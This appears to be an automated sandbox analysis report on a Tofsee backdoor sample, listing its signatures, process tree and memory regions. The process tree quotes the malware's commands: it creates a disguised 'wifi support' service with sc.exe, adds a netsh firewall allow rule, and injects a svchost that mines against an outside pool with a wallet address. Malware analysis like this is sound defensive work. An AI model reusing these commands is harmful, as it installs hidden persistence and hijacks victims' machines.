Analysis

  • max time kernel
    141s
  • max time network
    147s
  • platform
    windows10_x64
  • resource
    win10v20201028
  • submitted
    17/11/2020, 12:21

General

  • Target
    31cb64ef1d88afe811a1692a597574b6.exe
  • Size 13.5MB
  • Sample201117-gkel14cdqn
  • SHA256 f836f31e2b4b471fbd6d28871bf6727e7e49897b8dd1c762b326b7fa7869f3bb
  • MD5 SHA1 SHA512

Malware Config

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Sets service image path in registry 2 TTPs
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Modifies service 2 TTPs 1 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Program crash 19 IoCs
  • Modifies data under HKEY_USERS 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\31cb64ef1d88afe811a1692a597574b6.exe
    "C:\Users\Admin\AppData\Local\Temp\31cb64ef1d88afe811a1692a597574b6.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:676
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 676 -s 552
      2⤵
      • Program crash
      PID:3724
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 676 -s 672
      2⤵
      • Program crash
      PID:2924
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 676 -s 700
      2⤵
      • Program crash
      PID:3284
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 676 -s 756
      2⤵
      • Program crash
      PID:2732
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 676 -s 780
      2⤵
      • Program crash
      PID:192
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 676 -s 800
      2⤵
      • Program crash
      PID:2984
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 676 -s 952
      2⤵
      • Program crash
      PID:3856
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\oxylwwnj\
      2⤵
        PID:1332
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -u -p 676 -s 732
        2⤵
        • Program crash
        PID:2812
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -u -p 676 -s 1020
        2⤵
        • Program crash
        PID:3872
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\dqczsfku.exe" C:\Windows\SysWOW64\oxylwwnj\
        2⤵
          PID:1148
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 676 -s 792
          2⤵
          • Program crash
          PID:1128
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 676 -s 696
          2⤵
          • Program crash
          PID:3944
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create oxylwwnj binPath= "C:\Windows\SysWOW64\oxylwwnj\dqczsfku.exe /d\"C:\Users\Admin\AppData\Local\Temp\31cb64ef1d88afe811a1692a597574b6.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:3948
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 676 -s 996
            2⤵
            • Program crash
            PID:4064
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 676 -s 716
            2⤵
            • Program crash
            PID:504
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description oxylwwnj "wifi internet conection"
            2⤵
              PID:2920
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 676 -s 696
              2⤵
              • Program crash
              PID:216
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 676 -s 764
              2⤵
              • Program crash
              PID:2992
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start oxylwwnj
              2⤵
                PID:940
              • C:\Windows\SysWOW64\WerFault.exe
                C:\Windows\SysWOW64\WerFault.exe -u -p 676 -s 716
                2⤵
                • Program crash
                PID:3844
              • C:\Windows\SysWOW64\WerFault.exe
                C:\Windows\SysWOW64\WerFault.exe -u -p 676 -s 584
                2⤵
                • Program crash
                PID:3492
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                  PID:2068
              • C:\Windows\SysWOW64\oxylwwnj\dqczsfku.exe
                C:\Windows\SysWOW64\oxylwwnj\dqczsfku.exe /d"C:\Users\Admin\AppData\Local\Temp\31cb64ef1d88afe811a1692a597574b6.exe"
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:1324
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 1324 -s 576
                  2⤵
                  • Program crash
                  PID:2624
                • C:\Windows\SysWOW64\svchost.exe
                  svchost.exe
                  2⤵
                  • Deletes itself
                  • Drops file in System32 directory
                  • Modifies service
                  • Suspicious use of SetThreadContext
                  • Modifies data under HKEY_USERS
                  • Suspicious use of WriteProcessMemory
                  PID:3940
                  • C:\Windows\SysWOW64\svchost.exe
                    svchost.exe -o msr.pool.gntl.co.uk:40005 -u 5nFN8BzQ1qP3PkbVHj5ooXSENsHFHMAj51jbA7YySkuEH8nBDYWHhhFQjiwcVqb9H8Soz3YTG6SijYVz1ntV1TAa5qAMCwu+60000 -p x -k
                    3⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:748
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 1324 -s 608
                  2⤵
                  • Program crash
                  PID:3824

              Network

                    MITRE ATT&CK Enterprise v6

                    Replay Monitor

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                    Downloads

                    memory/676-0-0x0000000000EC1000-0x0000000000EC2000-memory.dmp

                    memory/676-1-0x0000000001280000-0x0000000001281000-memory.dmp

                    memory/748-21-0x0000000002C00000-0x0000000002CF1000-memory.dmp

                    memory/1324-10-0x00000000011A0000-0x00000000011A1000-memory.dmp

                    memory/3940-16-0x00000000029C0000-0x00000000029C6000-memory.dmp

                    memory/3940-15-0x0000000004950000-0x0000000004B5F000-memory.dmp

                    memory/3940-17-0x00000000029E0000-0x00000000029F0000-memory.dmp

                    memory/3940-18-0x00000000029F0000-0x00000000029F5000-memory.dmp

                    memory/3940-19-0x0000000009090000-0x000000000949B000-memory.dmp

                    memory/3940-20-0x0000000002D10000-0x0000000002D17000-memory.dmp

                    memory/3940-12-0x0000000002950000-0x0000000002965000-memory.dmp